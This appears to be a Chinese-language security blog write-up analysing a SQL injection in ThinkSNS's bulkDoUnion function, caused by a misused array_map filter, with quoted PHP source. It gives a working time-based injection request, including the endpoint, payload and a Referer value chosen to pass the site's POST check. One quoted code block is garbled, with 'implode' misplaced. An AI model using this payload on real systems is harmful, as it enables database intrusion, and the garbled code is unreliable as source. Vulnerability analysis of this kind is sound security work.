PHP…

0x01

绕过GPC注入

漏洞分析

漏洞在/apps/public/Action/UnionAction.php中的bulkDoUnion函数

1
2
3
4
5
6
public function bulkDoUnion()
{
// 安全过滤
$res = $this->_union_model->bulkDoUnion($this->mid, t($_POST ['fids']));
$this->ajaxReturn($res, $this->_union_model->getError(), false !== $res);
}

跟到t函数
在/src/old/OpenSociax/functions.inc.php中

1
2
3
4
5
6
7
8
9
function t($text)
{
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);

return $text;
}

这里调用了nl2br、real_strip_tags、addslashes、trim函数进行了一系列的过滤,接着回到bulkDoUnion中,跟到被\$this->_unoin_model调用bulkDoUion函数
在/addons/model/UnionModel.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public function bulkDoUnion($uid, $fids)
{
$union_states = $this->getUnionStateByFids($uid, $fids);
$data = array();
$_fids = array();
foreach ($union_states as $f_s_k => $f_s_v) {
// 未联盟
if (0 == $f_s_v ['unioning']) {
// 联盟的字段数据
$data [] = "({$uid}, {$f_s_k},".time().')';
$_fids [] = $f_s_k;
$union_states [$f_s_k] ['unioning'] = 1;
// 通知和分享
/*
* model('Notify')->send($fid, 'user_union', '', $uid); model('Feed')->put('user_union', array('fid'=>$fid), $uid);
*/
} else {
unset($union_states [$f_s_k]);
}
}
if (! empty($data)) {
$sql = "INSERT INTO {$this->tablePrefix}{$this->tableName}(`uid`,`fid`,`ctime`) VALUES".(',', $data);
$res = $this->execute($sql);
if ($res) {
// 联盟成功
$this->error = L('PUBLIC_ADD_FOLLOW_SUCCESS');

// 更新统计
$this->_updateUnionCount($uid, $_fids, true);

return $union_states;
} else {
$this->error = L('PUBLIC_ADD_FOLLOW_FAIL');

return false;
}
} else {implode
// 全部已联盟
$this->error = L('PUBLIC_FOLLOW_ING');

return false;
}
}

跟到getUnionStateByFids函数,在bulkDoUion函数的下面

1
2
3
4
5
6
7
8
9
10
11
12
public function getUnionStateByFids($uid, $fids)
{
array_map('intval', $fids);
$_fids = is_array($fids) ? implode(',', $fids) : $fids;
if (empty($_fids)) {
return array();
}
$union_data = $this->where(" ( uid = '{$uid}' AND fid IN({$_fids}) ) OR ( uid IN({$_fids}) and fid = '{$uid}')")->findAll();
$union_states = $this->_formatUnionState($uid, $fids, $union_data);

return $union_states [$uid];
}

这里对于传入的\$fids首先用array_map进行了一个过滤,但是由于array_map只针对数组,如果传入字符串的话,只会警告,如下:

1
2
3
$str = 'and 1=2';
array_map('intval',$str);
echo $str;

由于最后的数据拼接使用了括号,这样就能绕过GPC了,从而产生了注入漏洞.


0x02

漏洞利用

注册一个账号登陆之后,访问

1
2
3
GET:index.php?app=public&mod=union&act=bulkDoUnion
POST:fids=-1,-2)) union select 1,2,3,4,sleep(4)%23
REFERER:http://localhost:4399/thinksns/index.php

访问后


可以看到请求时间的变化
这里需要修改Referer的原因,可以看到/src/old/OpenSociax/App.class.php的execApp函数
1
2
3
if (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST' && stripos($_SERVER['HTTP_REFERER'], SITE_URL) !== 0 && $_SERVER['HTTP_USER_AGENT'] !== 'Shockwave Flash' && (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'adobe flash player') === false) && MODULE_NAME != 'Weixin') {
die('illegal request.');
}

可已看出当我们提交POST请求的时候,需要保证Referer是首SITE_URL才行,而SITE_URL的值就是首页的URL,在/src/old/core.php中给出了定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 当前文件名
if (!defined('_PHP_FILE_')) {
if (IS_CGI) {
// CGI/FASTCGI模式下
$_temp = explode('.php', $_SERVER['PHP_SELF']);
define('_PHP_FILE_', rtrim(str_replace($_SERVER['HTTP_HOST'], '', $_temp[0].'.php'), '/'));
} else {
define('_PHP_FILE_', rtrim($_SERVER['SCRIPT_NAME'], '/'));
}
}

// 网站URL根目录
if (!defined('__ROOT__')) {
$_root = dirname(_PHP_FILE_);
define('__ROOT__', (($_root == '/' || $_root == '\\') ? '' : rtrim($_root, '/')));
}
...
tsdefine('SITE_URL', (IS_HTTPS ? 'https:' : 'http:').'//'.SITE_DOMAIN.__ROOT__);


0x03

One’storm

由于array_map()的使用不当,导致过滤不够完全.

(ง •_•)ง